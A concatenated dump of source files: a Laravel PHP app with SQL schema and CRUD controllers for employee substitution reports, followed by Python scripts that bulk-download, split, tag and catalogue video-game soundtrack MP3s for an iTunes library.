MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=10; -- -- AUTO_INCREMENT for table `users` -- ALTER TABLE `users` MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; -- -- Constraints for dumped tables -- -- -- Constraints for table `reports` -- ALTER TABLE `reports` ADD CONSTRAINT `reports_empleado_id_foreign` FOREIGN KEY (`empleado_id`) REFERENCES `empleados` (`id`), ADD CONSTRAINT `reports_incidencia_id_foreign` FOREIGN KEY (`incidencia_id`) REFERENCES `incidencias` (`id`), ADD CONSTRAINT `reports_puesto_id_foreign` FOREIGN KEY (`puesto_id`) REFERENCES `puestos` (`id`), ADD CONSTRAINT `reports_servicio_id_foreign` FOREIGN KEY (`servicio_id`) REFERENCES `servicios` (`id`), ADD CONSTRAINT `reports_suplente_id_foreign` FOREIGN KEY (`suplente_id`) REFERENCES `suplentes` (`id`), ADD CONSTRAINT `reports_unidad_id_foreign` FOREIGN KEY (`unidad_id`) REFERENCES `unidads` (`id`); /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Requests; use App\Empleado; use Yajra\Datatables\Datatables; class EmpleadosController extends Controller { public function index(Request $request) { if ($request->ajax()) { $data = Empleado::all(); return Datatables::of($data) ->addIndexColumn() ->addColumn('action', function($row){ $btn = '<a href="javascript:void(0)" data-toggle="tooltip" data-id="'.$row->id.'" data-original-title="Edit" class="edit btn btn-primary btn-sm editProduct">Edit</a>'; $btn = $btn.' <a href="javascript:void(0)" data-toggle="tooltip" data-id="'.$row->id.'" data-original-title="Delete" class="btn btn-danger btn-sm deleteProduct">Delete</a>'; return $btn; }) ->make(true); } return view('admin.empleados.index'); } public function store(Request $request) { Empleado::updateOrCreate(['id' => $request->id], [ 'num_empleado' => $request->num_empleado, 'nombre' => $request->nombre, ]); return response()->json(['success'=>'Empleado saved successfully.']); } public function edit($id) { $empleado = Empleado::find($id); return response()->json($empleado); } public function destroy($id) { Empleado::find($id)->delete(); return response()->json(['success'=>'Suplente deleted successfully.']); } } <file_sep><?php use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateReportsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('reports', function (Blueprint $table) { $table->increments('id'); $table->integer('suplente_id')->unsigned(); $table->integer('puesto_id')->unsigned(); $table->integer('servicio_id')->unsigned(); $table->integer('unidad_id')->unsigned(); $table->enum('tipo', ['Guardia', 'Suplencia'])->default('Suplencia'); $table->date('fecha_inicio'); $table->date('fecha_final'); $table->integer('qna'); $table->float('monto'); $table->integer('empleado_id')->unsigned(); $table->integer('incidencia_id')->unsigned(); $table->timestamps(); $table->foreign('suplente_id')->references('id')->on('suplentes'); $table->foreign('puesto_id')->references('id')->on('puestos'); $table->foreign('servicio_id')->references('id')->on('servicios'); $table->foreign('unidad_id')->references('id')->on('unidads'); $table->foreign('empleado_id')->references('id')->on('empleados'); $table->foreign('incidencia_id')->references('id')->on('incidencias'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('reports'); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Requests; use App\Servicio; use Yajra\Datatables\Datatables; class ServiciosController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(Request $request) { if ($request->ajax()) { $data = Servicio::all(); return Datatables::of($data) ->addIndexColumn() ->addColumn('action', function($row){ $btn = '<a href="javascript:void(0)" data-toggle="tooltip" data-id="'.$row->id.'" data-original-title="Edit" class="edit btn btn-primary btn-sm editProduct">Edit</a>'; $btn = $btn.' <a href="javascript:void(0)" data-toggle="tooltip" data-id="'.$row->id.'" data-original-title="Delete" class="btn btn-danger btn-sm deleteProduct">Delete</a>'; return $btn; }) ->make(true); } return view('admin.servicios.index'); } public function store(Request $request) { Servicio::updateOrCreate(['id' => $request->id], [ 'servicio' => $request->servicio, 'descripcion' => $request->descripcion, ]); return response()->json(['success'=>'Servicio saved successfully.']); } public function edit($id) { $servicio = Servicio::find($id); return response()->json($servicio); } public function destroy($id) { Servicio::find($id)->delete(); return response()->json(['success'=>'Servicio deleted successfully.']); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Requests; use App\Puesto; use Yajra\Datatables\Datatables; class PuestosController extends Controller { public function index(Request $request) { if ($request->ajax()) { $data = Puesto::all(); return Datatables::of($data) ->addIndexColumn() ->addColumn('action', function($row){ $btn = '<a href="javascript:void(0)" data-toggle="tooltip" data-id="'.$row->id.'" data-original-title="Edit" class="edit btn btn-primary btn-sm editProduct">Edit</a>'; $btn = $btn.' <a href="javascript:void(0)" data-toggle="tooltip" data-id="'.$row->id.'" data-original-title="Delete" class="btn btn-danger btn-sm deleteProduct">Delete</a>'; return $btn; }) ->make(true); } return view('admin.puestos.index'); } public function store(Request $request) { Puesto::updateOrCreate(['id' => $request->id], [ 'puesto' => $request->puesto, 'descripcion' => $request->descripcion, ]); return response()->json(['success'=>'Puesto saved successfully.']); } public function edit($id) { $puesto = Puesto::find($id); return response()->json($puesto); } public function destroy($id) { Puesto::find($id)->delete(); return response()->json(['success'=>'Puesto deleted successfully.']); } }
ed0cd40fa69f9ac050291cbeac6771cf91eb8ca6
[ "SQL", "PHP" ]
8
PHP
rikardote/gys2
c755a597fc604386d6ee0283ab377665ea8cf29a
62cf7259f1b6eab09c35607c51586af354bbea70
refs/heads/master
<file_sep>import React from 'react'; import './App.css'; import myWonderfulImage from "./imageInSrc.jpg" import "./style.css" function App() { return ( <div className="App"> <div style={{border:"solid 1 black", maxWidth:'100vw'}} > <h1 className={'title red'}> Your name here </h1> <br/> <img src={myWonderfulImage} /> <br/> <img src='./imageInPublic.jpg' /> </div> {/* <video style={{width=320 , height=240}} controls> <source src="myVideo.mp4" type="video/mp4"> </video> */} </div> ); } export default App;
cd9ec4d07d2fcfbea158c15d493c3bee5a9d57f5
[ "JavaScript" ]
1
JavaScript
achrafroui/JSXcheckpoint
04660faa11dfd9a3cb4b39c2aaed5688b6e22c56
a36369a8675697c404a652c21ad050f816a1299c
refs/heads/master
<repo_name>raxod502/itunes-scripts<file_sep>/transcode.py #!/Library/Frameworks/Python.framework/Versions/3.5/bin/python3 import os import re import subprocess folder = input('Enter music directory: ') files = [filename for filename in os.listdir(folder) if filename.endswith('.mp3')] subprocess.run([ 'mkdir', os.path.join(folder, '__old__')]) for filename in files: print('Processing ' + filename) new_filename = os.path.join(folder, filename) old_filename = os.path.join(folder, '__old__', filename) subprocess.run([ 'mv', new_filename, old_filename]) subprocess.run([ 'lame', old_filename, new_filename]) <file_sep>/spc.py #!/Library/Frameworks/Python.framework/Versions/3.5/bin/python3 import os import random import re import subprocess import sys def replace_several(s, from_strs, to_strs): for from_str, to_str in zip(from_strs, to_strs): s = s.replace(from_str, to_str) return s script_path = os.path.abspath(__file__) folder = os.path.join(os.path.split(script_path)[0], 'winamp_output') filenames = os.listdir(folder) mp3_filenames = [] m3u_filename = None for filename in filenames: if re.match(r'.+\.mp3', filename): mp3_filenames.append(filename) elif re.match(r'.+\.m3u8?', filename): if m3u_filename: print('Error: found more than one M3U file in winamp_output.') sys.exit(1) else: m3u_filename = filename if not m3u_filename: print('Error: couldn\'t find an M3U file in winamp_output.') sys.exit(1) with open(os.path.join(folder, m3u_filename), 'r') as f: contents = f.read() track_names = re.findall(r'#EXTINF:\d+,(.+)', contents) for i in range(len(track_names)): unused = True for j in range(i): if track_names[i] == track_names[j]: unused = False break if not unused: count = 0 while True: new_track_name = '{}-{}'.format(track_names[i], count) for j in range(i): if new_track_name == track_names[j]: break else: break count += 1 track_names[i] = new_track_name extension = input('Enter music file extension: ') or 'spc' song_filenames = re.findall(r'.+?winamp_input\\(.+)\.{}'.format(extension), contents) while True: user_input = input('Use filenames (e.g. "{}") or track names (e.g. "{}")? '.format( song_filenames[0], track_names[0])) if not user_input or user_input[0] in 'tT': song_names = track_names break elif user_input[0] in 'fF': song_names = song_filenames break elif user_input[0] in 'mM': print('Filename | Track name') pairs = list(zip(song_filenames, track_names)) random.shuffle(pairs) for song_filename, track_name in pairs[:10]: print('{} | {}'.format(song_filename, track_name)) else: print('Invalid response. Please enter \'filenames\' or \'track names\' to continue, or \'more\' to see more examples.') for song_name in song_names: print(song_name) song_name_regex = input('Enter song name regex: ') or '(.+)' album_name = input('Enter album name: ') for mp3_filename in mp3_filenames: for index, (track_name, song_name) in enumerate(zip(track_names, song_names)): if mp3_filename == replace_several('{}.mp3'.format(track_name), ':/?', '_-.'): subprocess.run([ 'mid3v2', '--album=' + album_name, '--song=' + re.match(song_name_regex, song_name).group(1), '--track=' + str(index + 1), os.path.join(folder, mp3_filename)], stdout=subprocess.DEVNULL) break else: print('Error: couldn\'t find an entry for "{}" in the M3U file.'.format(mp3_filename)) sys.exit(1) <file_sep>/mm.py #!/Library/Frameworks/Python.framework/Versions/3.5/bin/python3 import math import os import re import urllib3 def count_digits(num): return math.ceil(math.log10(num)) script_path = os.path.abspath(__file__) folder_name = input('Enter folder name: ') folder = os.path.join(os.path.split(script_path)[0], folder_name) def relative_path(path): return folder + '/' + path try: os.mkdir(folder) except FileExistsError: pass album_url = input('Enter album URL: ') http = urllib3.PoolManager() album_page = http.request('GET', album_url).data.decode('iso-8859-1') matches = re.findall('<td.+?<a href="\./(.+?\.mp3)">(.+?\.mp3)', album_page) for relative_mp3_url, filename in matches: print('Downloading "{}"... '.format(filename[:-4]), end='', flush=True) mp3_url = 'http://mariomedia.net/music/{}'.format(relative_mp3_url).replace(' ', '%20') with open(relative_path(filename), 'wb') as f: f.write(http.request('GET', mp3_url).data) print('done.') <file_sep>/kh.py #!/Library/Frameworks/Python.framework/Versions/3.5/bin/python3 import math import os import re import urllib3 def count_digits(num): return math.ceil(math.log10(num)) script_path = os.path.abspath(__file__) folder_name = input('Enter folder name: ') folder = os.path.join(os.path.split(script_path)[0], folder_name) folder = script_path[:script_path.rindex('/')] + '/' + folder_name def relative_path(path): return folder + '/' + path try: os.mkdir(folder) except FileExistsError: pass album_url = input('Enter album URL: ') http = urllib3.PoolManager() album_page = http.request('GET', album_url).data.decode('utf-8') matches = re.findall('<td><a href="(.+?\.mp3)">(.+?\.mp3)</a></td>', album_page) track_number = 1 track_number_length = count_digits(len(matches)) while True: user_input = input('Add track numbers? ') if not user_input or user_input[0] in 'nN': add_track_numbers = False break elif user_input[0] in 'yY': add_track_numbers = True break else: print('Invalid response. Please enter \'yes\' or \'no\'.') for song_url, filename in matches: print('Downloading "' + filename[:-4] + '"... ', end='', flush=True) song_page = http.request('GET', song_url).data.decode('utf-8') mp3_url = re.search('href="(.+?\.mp3)"', song_page).group(1) track_number_prefix = (str(track_number).zfill(track_number_length) + ' ') \ if add_track_numbers else '' with open(relative_path(track_number_prefix + filename), 'wb') as f: f.write(http.request('GET', mp3_url).data) print('done.') track_number += 1 <file_sep>/directory.py #!/Library/Frameworks/Python.framework/Versions/3.5/bin/python3 from glob import glob import re import os import pickle import subprocess import sys import traceback def get_representative_song_filenames(music_folder): l = [] for x in os.walk(music_folder): g = glob(os.path.join(x[0], '*.mp3')) if g: l.append(g[0]) return l def fix_newlines(regex): return regex.replace(r'\n', r'(?:\r\n?|\n)') def get_match(l, regex=r'(.+)'): regex = fix_newlines(regex) if l: matches = [] for s in l: match = re.fullmatch(regex, s) if match: matches.append(match.group(1)) assert len(matches) == 1, 'Exactly one element in ' + str(l) + ' should match regex /' + regex + '/' return matches[0] return def demarcate(s): return '\n'.join(map(lambda x: '^' + x + '$', re.split(fix_newlines(r'\n'), s))) def get_tags(song_filename): output = subprocess.run(['mid3v2', song_filename], stdout=subprocess.PIPE).stdout.decode(sys.stdout.encoding)[:-2] tag_tuples = re.findall(fix_newlines(r'([A-Z0-9]{4})=(.+(?:\n(?:.{0-4}$|....[^=].*))*)'), output) tags = {} for tag, value in tag_tuples: if tag in tags: tags[tag].append(value) else: tags[tag] = [value] try: title = get_match(tags.get('TIT2')) artist = get_match(tags.get('TPE1')) album = get_match(tags.get('TALB')) album_artist = get_match(tags.get('TPE2')) composer = get_match(tags.get('TCOM')) tags = {'title': title, 'title_sort_as': get_match(tags.get('TSOT')) or title, 'artist': artist, 'artist_sort_as': get_match(tags.get('TSOP')) or artist, 'album': album, 'album_sort_as': get_match(tags.get('TSOA')) or album, 'album_artist': album_artist or artist, 'album_artist_sort_as': get_match(tags.get('TSO2')) or album_artist or artist, 'composer': composer, 'composer_sort_as': get_match(tags.get('TSOC')) or composer, 'year': get_match(tags.get('TYER') or tags.get('TDRC'), r'(\d\d\d\d)(?: / \d\d\d\d)?'), 'track': get_match(tags.get('TRCK')), 'disk': get_match(tags.get('TPOS')), 'comment': get_match(tags.get('COMM'), r'=eng=((?:.|\n)+)')} assert tags['title'], 'Track does not have a title' assert tags['title_sort_as'], 'Track does not have a sort-as title' assert tags['artist'], 'Track does not have an artist' assert tags['artist_sort_as'], 'Track does not have a sort-as artist' assert tags['album_artist'], 'Track does not have an album artist' assert tags['album_artist_sort_as'], 'Track does not have a sort-as album artist' assert tags['album'], 'Track does not have an album' assert tags['album_sort_as'], 'Track does not have a sort-as album' assert tags['year'], 'Track does not have a year' assert re.fullmatch(r'\d\d\d\d(?: / \d\d\d\d)?', tags['year']), 'Year is improperly formatted' tags['year'] = int(tags['year'][:4]) if tags['track']: match = re.fullmatch(r'(\d+)/(\d+)', tags['track']) assert match, 'Track is improperly formatted' tags['track'] = int(match.group(1)) tags['track_count'] = int(match.group(2)) else: tags['track_count'] = None assert tags['disk'], 'Track does not have a disk' match = re.fullmatch(r'(\d+)/(\d+)', tags['disk']) assert match, 'Disk is improperly formatted' tags['disk'] = int(match.group(1)) tags['disk_count'] = int(match.group(2)) assert tags['comment'], 'Track is missing comment' lines = re.split(fix_newlines(r'\n'), tags['comment']) assert len(lines) >= 2, 'Comment has less than two lines' tags['tags'] = lines[0].split('\\')[1:-1] for comment_tag in tags['tags']: assert comment_tag in [ 'Free', 'Paid', 'Pirated', 'Artwork', 'Copyedited', 'Renamed', 'Reordered', 'Combined', 'Trimmed', 'Transcoded', 'Tag2'], 'Comment contains invalid tag' assert len(set(tags['tags'])) == len(tags['tags']), 'Comment contains duplicate tag' count = sum([1 for x in tags['tags'] if x in ['Free', 'Paid', 'Pirated']]) assert count == 1, 'Comment does not contain exactly one of <Free>, <Paid>, <Pirated>)' assert 'Tag2' in tags['tags'], 'Comment does not contain <Tag2>' tags['sources'] = [] tags['tracklist'] = None for line in lines[1:]: match = re.fullmatch(r'(Source|Tracklist): (https?://.+|CD)', line) assert match, 'Additional comment line is improperly formatted' if match.group(1) == 'Source': tags['sources'].append(match.group(2)) elif match.group(1) == 'Tracklist': assert not tags['tracklist'], 'Comment contains multiple tracklists' tags['tracklist'] = match.group(2) else: assert False del tags['comment'] except AssertionError: print(demarcate(song_filename)) print(demarcate(output)) raise return tags def get_song_filenames(music_folder): return [y for x in os.walk(music_folder) for y in glob(os.path.join(x[0], '*.mp3'))] def artist_and_album(path): x = os.path.split(os.path.split(path)[0]) return os.path.split(x[0])[1] + '/' + x[1] def partition_by_album(songs): albums = [] i = 0 while True: if i < len(songs): album_name = songs[i]['album'] album = [songs[i]] while True: i += 1 if i < len(songs): if album_name == songs[i]['album']: album.append(songs[i]) else: break else: break album.sort(key=lambda song: [song['disk'], not song['track'], song['track'], song['title_sort_as'].lower()]) albums.append(album) else: break return albums def require_same(songs, attribute, error=True): test = songs[0][attribute] for song in songs[1:]: if song[attribute] != test: if error: print(songs[0]) print(song) assert False, 'Inconsistent tag ({})'.format(attribute) else: return False return True invariant_tags = [ 'album', 'album_sort_as', 'album_artist', 'album_artist_sort_as', 'disk_count', 'tags', 'sources', 'tracklist'] allowed_invariant_tags = [ 'artist', 'artist_sort_as', 'composer', 'composer_sort_as', 'year'] def make_album(songs): for tag in invariant_tags: require_same(songs, tag) for index, song in enumerate(songs): if song['track'] and song['track'] != index + 1: print(song) assert False, 'Incorrect track number (should be {} or absent)'.format(index + 1) for song in songs: if song['track'] and song['track_count'] != len(songs): print(song) assert False, 'Incorrect track count (should be {})'.format(len(songs)) disk = 1 for index, song in enumerate(songs): if song['disk'] < disk: if index != 0: print(songs[index - 1]) print(song) assert False, 'Disk number decreased' elif song['disk'] > song['disk_count']: print(song) assert False, 'Disk number greater than disk count ({})'.format(song['disk_count']) else: disk = song['disk'] if disk != songs[0]['disk_count']: print(songs[-1]) assert False, 'Not enough disks (need {})'.format(songs[0]['disk_count']) album = {} album['track_count'] = len(songs) for song in songs: del song['track_count'] for tag in invariant_tags: album[tag] = songs[0][tag] for song in songs: del song[tag] for tag in allowed_invariant_tags: if require_same(songs, tag, error=False): album[tag] = songs[0][tag] for song in songs: del song[tag] album['songs'] = songs return album introduction = '''\ <NAME>'s iTunes Library Generated by directory.py -- Tools -- * CrossOver (https://www.codeweavers.com/) * foobar2000 (https://www.foobar2000.org/) - set ID3 tags of specific song - set ID3 tags of multiple songs - set sequential track numbers - copy filenames to track names * Winamp (http://www.winamp.com/) * Alpha-II SPC Player (http://www.alpha-ii.com/Download/Main.html#SNESAmp) > (set "Title Formatting" to "%2") - read from SPC files * Lame MP3 Writer (http://out-lame.sourceforge.net/) - write to MP3 files * Doug's AppleScripts for iTunes (http://dougscripts.com/itunes/index.php) * Albumize Selection (http://dougscripts.com/itunes/scripts/ss.php?sp=albumizeselection) - set sequential track numbers * Filenames to Song Names (http://dougscripts.com/itunes/scripts/ss.php?sp=filenamestosongnames) - copy filenames to track names * iTunes - set ID3 tags of specific song - set ID3 tags of multiple songs * Python scripts > (required software) > Python 2.7 (https://www.python.org/downloads/) > Python 3.5 (https://www.python.org/downloads/) > lame (http://lame.sourceforge.net/download.php) > mid3v2 (https://bitbucket.org/lazka/mutagen/downloads) > mp3splt (brew install mp3splt) * albw.py > (download "A Link Between Worlds") - split "A Link Between Worlds" into separate tracks - download track information from zeldawiki.org - set ID3 tags * cc.py > (download "Chiptune Compilation") > (download tracklist file) - parse tracklist file - disambiguate dash delimiters - match track names with MP3 files - set ID3 tags * directory.py > (clean music library tags) - validate music library tags - generate this file * ff.py - bulk download files from ffextreme.com * ff7.py - download "Final Fantasy VII" - download track information from finalfantasy.wikia.com - set ID3 tags * kh.py - bulk download files from khinsider.com * mm.py - bulk download files from mariomedia.net * spc.py > (download SPC soundtrack) > (convert to MP3 with Winamp) > (save M3U playlist with Winamp) > (place MP3s and M3U in "winamp_output" folder) - use either filenames or ID666 tags as track names (type 'm' to see more examples) - trim track numbers from track names with regex (optional) - set ID3 tags * tlod.py > (download "The Legend of Dragoon") - split "The Legend of Dragoon" into separate tracks - download track information from video description - set ID3 tags * transcode.py > (download corrupted soundtrack) - move files to "__old__" subdirectory - use lame to reencode the MP3s into the original directory * YouTube to MP3 - download audio of YouTube video as MP3 - download audio of YouTube videos in playlist as MP3s - add to iTunes playlist (optional)''' def album_description(album): lines = [] heading = '"' + album['album'] + '"' + ' by ' + (album.get('artist') or album['album_artist']) divider = '+' + '-' * (len(heading) + 2) + '+' lines.append(divider) lines.append('| ' + heading + ' |') lines.append(divider) lines.append('') lines.append('Album: ' + album['album']) lines.append('Album artist: ' + album['album_artist']) if 'artist' in album: lines.append('Artist: ' + album['artist']) if album.get('composer'): lines.append('Composer: ' + album['composer']) lines.append('Disk count: ' + str(album['disk_count'])) lines.append('Track count: ' + str(album['track_count'])) if 'year' in album: lines.append('Year: ' + str(album['year'])) lines.append('') for tag in album['tags']: if tag == 'Free': lines.append('Free (available for free from the author)') elif tag == 'Paid': lines.append('Paid (available for purchase from the author)') elif tag == 'Pirated': lines.append('Pirated (not available for purchase from the author, or downloaded illegaly)') elif tag == 'Artwork': lines.append('Artwork (custom album artwork added)') elif tag == 'Copyedited': lines.append('Copyedited (formatting of track names changed)') elif tag == 'Renamed': lines.append('Renamed (track names changed)') elif tag == 'Reordered': lines.append('Reordered (track numbers changed)') elif tag == 'Combined': lines.append('Combined (assembled from multiple downloads)') elif tag == 'Trimmed': lines.append('Trimmed (some tracks removed)') elif tag == 'Transcoded': lines.append('Transcoded (reencoded to fix corrupted playback)') elif tag != 'Tag2': assert False lines.append('') for source in album['sources']: lines.append('Source: ' + source) if album['tracklist']: lines.append('Tracklist: ' + album['tracklist']) lines.append('') disk = 0 for song in album['songs']: if song['disk'] > disk: if disk != 0: lines.append('| ') lines.append('+----+' + (' Disk ' + str(song['disk']) if album['disk_count'] > 1 else '')) lines.append('| ') disk = song['disk'] lines.append('| {:>5}{}{}{}'.format( str(song['track']) + '. ' if song['track'] else '', '"' + song['title'] + '"', ' by ' + song['artist'] if 'artist' in song else '', ' (composed by ' + song['composer'] + ')' if song.get('composer') and song['composer'] != song.get('artist') else '')) lines.append('| ') lines.append('+----+') return '\n'.join(lines) music_folder = '/Users/raxod502/Desktop/iTunes/Music' if not os.path.isdir(music_folder): music_folder = input('Enter music folder: ') assert os.path.isdir(music_folder) script_path = os.path.abspath(__file__) directory_file = os.path.join(os.path.split(script_path)[0], 'directory.txt') if '--read-cache' in sys.argv[1:]: print('==> READING CACHE') with open('/Users/raxod502/Desktop/iTunes/scripts/directory-cache.txt', 'rb') as f: songs = pickle.load(f) else: print('==> RUNNING PRELIMINARY SCAN') for song_filename in get_representative_song_filenames(music_folder): get_tags(song_filename) print('==> SCANNING MUSIC LIBRARY') songs = [] last_album = None for song_filename in get_song_filenames(music_folder): current_album = artist_and_album(song_filename) if last_album != current_album: last_album = current_album print('Processing folder "{}"'.format(current_album)) songs.append(get_tags(song_filename)) if '--write-cache' in sys.argv[1:]: print('==> WRITING CACHE') with open('/Users/raxod502/Desktop/iTunes/scripts/directory-cache.txt', 'wb') as f: pickle.dump(songs, f) print('==> VALIDATING ALBUMS') albums = [] for album_songs in partition_by_album(songs): albums.append(make_album(album_songs)) albums.sort(key=lambda album: [album['album_artist_sort_as'].lower(), album['album_sort_as'].lower()]) print('==> CREATING DIRECTORY') with open(directory_file, 'w') as f: f.write(introduction + '\n\n' + '\n\n'.join(map(album_description, albums))) <file_sep>/ff.py #!/Library/Frameworks/Python.framework/Versions/3.5/bin/python3 from html.parser import HTMLParser import math import os import re import urllib3 def count_digits(num): return math.ceil(math.log10(num)) script_path = os.path.abspath(__file__) folder_name = input('Enter folder name: ') folder = os.path.join(os.path.split(script_path)[0], folder_name) def relative_path(path): return os.path.join(folder, path) try: os.mkdir(folder) except FileExistsError: pass album_url = input('Enter album URL: ') game_directory = album_url[album_url.rindex('/', 0, -11)+1:-11] http = urllib3.PoolManager() album_page = http.request('GET', album_url).data.decode('iso-8859-1') matches = re.findall(r'<tr>(?:.|\n)+?\d\d - (.+?)<(?:.|\n)+?id=.+?/.+?/cd(\d+)/(\d+)', album_page) global_track_number = 1 track_number_length = count_digits(len(matches)) parser = HTMLParser() for song_name, disk_number, track_number in matches: song_name = parser.unescape(song_name) print('Downloading "{}"... '.format(song_name), end='', flush=True) filename = '{} {}.mp3'.format( str(global_track_number).zfill(track_number_length), song_name.replace('/', ':')) with open(relative_path(filename), 'wb') as f: mp3_url = 'http://www.ffextreme.com/media/{}/music/mp3/cd{}/{}.mp3'.format( game_directory, disk_number, str(track_number).zfill(2)) f.write(http.request('GET', mp3_url).data) print('done.') global_track_number += 1 <file_sep>/tlod.py #!/Library/Frameworks/Python.framework/Versions/3.5/bin/python3 import re import subprocess import urllib3 http = urllib3.PoolManager() video_url = 'https://www.youtube.com/watch?v=FzXuyzrMxow' video_page = http.request('GET', video_url).data.decode('utf-8') songs = re.findall(r'> - (.+?)<', video_page) assert len(songs) == 70 tags = ['[@t={}]'.format(song) for song in songs[1:]] tags.insert(0, '%[@a=Sony,@b=The Legend of Dragoon,@y=1999,@N=1,@t={}]'.format(songs[0])) filename = input('Enter path to MP3 file: ') subprocess.run([ 'mp3splt', '-g', '\'"{}"\''.format(''.join(tags)), '-s', '-p', 'nt=70', filename]) <file_sep>/albw.py #!/Library/Frameworks/Python.framework/Versions/3.5/bin/python3 import re import subprocess import urllib3 http = urllib3.PoolManager() album_url = 'http://zeldawiki.org/The_Legend_of_Zelda:_A_Link_Between_Worlds_Original_Soundtrack' album_page = http.request('GET', album_url).data.decode('utf-8') songs = re.findall(r'<td>\d+ </td>\n<td> (.+?) </td>', album_page) assert len(songs) == 105 tags = ['[@t={}]'.format(song) for song in songs[1:]] tags.insert(0, '%[@a=Nintendo,@b=A Link Between Worlds,@y=2013,@N=1,@t={}]'.format(songs[0])) filename = input('Enter path to MP3 file: ') subprocess.run([ 'mp3splt', '-g', '\'"{}"\''.format(''.join(tags)), '-s', '-p', 'nt=105', filename]) <file_sep>/unloved #!/bin/bash cd "$(dirname "$0")" java -jar find-unloved/target/uberjar/find-unloved-0.1.0-SNAPSHOT-standalone.jar $@ <file_sep>/cc.py #!/Library/Frameworks/Python.framework/Versions/3.5/bin/python3 import os import re import subprocess import sys def levenshtein(s1, s2): if len(s1) < len(s2): return levenshtein(s2, s1) if len(s2) == 0: return len(s1) previous_row = range(len(s2) + 1) for i, c1 in enumerate(s1): current_row = [i + 1] for j, c2 in enumerate(s2): insertions = previous_row[j + 1] + 1 deletions = current_row[j] + 1 substitutions = previous_row[j] + (c1 != c2) current_row.append(min(insertions, deletions, substitutions)) previous_row = current_row return previous_row[-1] def parse_track(track): track = track.replace('_', ' ') dashes = track.count(' - ') if dashes == 0: print('Error: "{}" has no dash delimiter.'.format(track)) sys.exit(1) else: if dashes == 1: index = track.index(' - ') else: indices = [m.start() for m in re.finditer(' - ', track)] index = indices[int(input('Enter index of dash delimiter (0-{}) for "{}": '.format(len(indices)-1, track)))] return {'artist' : track[:index], 'title' : track[index+3:]} def close_enough(track1, track2): return track1 and track2 \ and track1['title'].lower() == track2['title'].lower() \ and track1['artist'].lower() == track2['artist'].lower() def tag_track(filename, track_num): subprocess.run([ 'mid3v2', '--track=' + str(track_num), filename], stdout=subprocess.DEVNULL) with open(input('Enter tracklist file: '), 'r') as f: lines = f.read().split('\n') line1 = lines.index('-- Additional tracks that are present in the module/MP3 packs due to not fitting in the video') line2 = lines.index('-- Note(s)') line3 = lines.index('-- Tracklist') additional_tracks = lines[line1+2:line2-2] tracks = lines[line3+2:] for i, additional_track in enumerate(additional_tracks): additional_tracks[i] = parse_track(additional_track) for i, track in enumerate(tracks): if len(track) < 11: print('Error: "{}" is not long enough.'.format(track)) sys.exit(1) else: tracks[i] = parse_track(track[11:]) folder = input('Enter chiptune directory: ') chiptunes = [] for filename in os.listdir(folder): chiptune = parse_track(filename[:-4]) chiptune['filename'] = filename chiptunes.append(chiptune) i = 0 while True: if i == len(chiptunes): break elif i > len(chiptunes): print('Error: An internal error occurred.') sys.exit(1) chiptune = chiptunes[i] for j, additional_track in enumerate(additional_tracks): if close_enough(additional_track, chiptune): chiptunes.pop(i) additional_tracks[j] = None break else: for j, track in enumerate(tracks): if close_enough(track, chiptune): chiptunes.pop(i) tracks[j] = None tag_track(os.path.join(folder, chiptune['filename']), j + 1) break else: i += 1 i = 0 while True: if i == len(chiptunes): break elif i > len(chiptunes): print('Error: An internal error occurred.') sys.exit(1) chiptune = chiptunes[i] all_tracks = additional_tracks + tracks distances = [levenshtein(track['title'], chiptune['title']) + levenshtein(track['artist'], chiptune['artist']) if track else 999 for track in all_tracks] distance = min(distances) j = distances.index(distance) track = all_tracks[j] do_tag = distance <= 2 if not do_tag: user_input = input('Does {} match {}? '.format(* ['"{}"'.format(s) for s in [track['title'], chiptune['title']]] if track['artist'] == chiptune['artist'] else ['"{}"'.format(s) for s in [track['artist'], chiptune['artist']]] if track['title'] == chiptune['title'] else ['"{}" by "{}"'.format(*s) for s in [[track['title'], track['artist']], [chiptune['title'], chiptune['artist']]]])) do_tag = user_input and user_input[0] in 'yY' if do_tag: if j < len(additional_tracks): chiptunes.pop(i) additional_tracks[j] = None else: chiptunes.pop(i) tracks[j - len(additional_tracks)] = None tag_track(os.path.join(folder, chiptune['filename']), j - len(additional_tracks) + 1) else: i += 1 i = 0 while chiptunes: i %= len(chiptunes) chiptune = chiptunes[i] print('Which of the following matches "{}" by "{}"?'.format(chiptune['title'], chiptune['artist'])) for j, track in enumerate(additional_tracks + tracks): if track: print('{}. "{}" by "{}"'.format(j + 1, track['title'], track['artist'])) user_input = input('Match: ') if user_input: j = int(user_input) - 1 else: i += 1 continue if j < len(additional_tracks): chiptunes.pop(i) additional_tracks[j] = None else: chiptunes.pop(i) tracks[j - len(additional_tracks)] = None tag_track(os.path.join(folder, chiptune['filename']), j - len(additional_tracks) + 1) <file_sep>/ff7.py #!/Library/Frameworks/Python.framework/Versions/3.5/bin/python3 import os import re import subprocess import urllib3 script_path = os.path.abspath(__file__) folder_name = 'ff7' folder = os.path.join(os.path.split(script_path)[0], folder_name) os.makedirs(folder, exist_ok=True) def relative_path(path): return os.path.join(folder, path) http = urllib3.PoolManager() album_url = 'http://finalfantasy.wikia.com/wiki/Final_Fantasy_VII:_Original_Soundtrack' album_page = http.request('GET', album_url).data.decode('utf-8') songs = re.findall(r'<b>"(.+?)" ?<', album_page) for i, match in enumerate(songs): for link, replacement in re.findall(r'(<a .+?>(.+?)</a>)', match): match = match.replace(link, replacement) songs[i] = match album_url = 'http://www.ffmages.com/final-fantasy-vii/original-soundtrack/' album_page = http.request('GET', album_url).data.decode('utf-8') matches = re.findall(r'<a href="(/ffvii/ost/.+?)">', album_page) disk_lengths = [23, 21, 23, 18] track = 1 disk = 1 for abs_track, match in 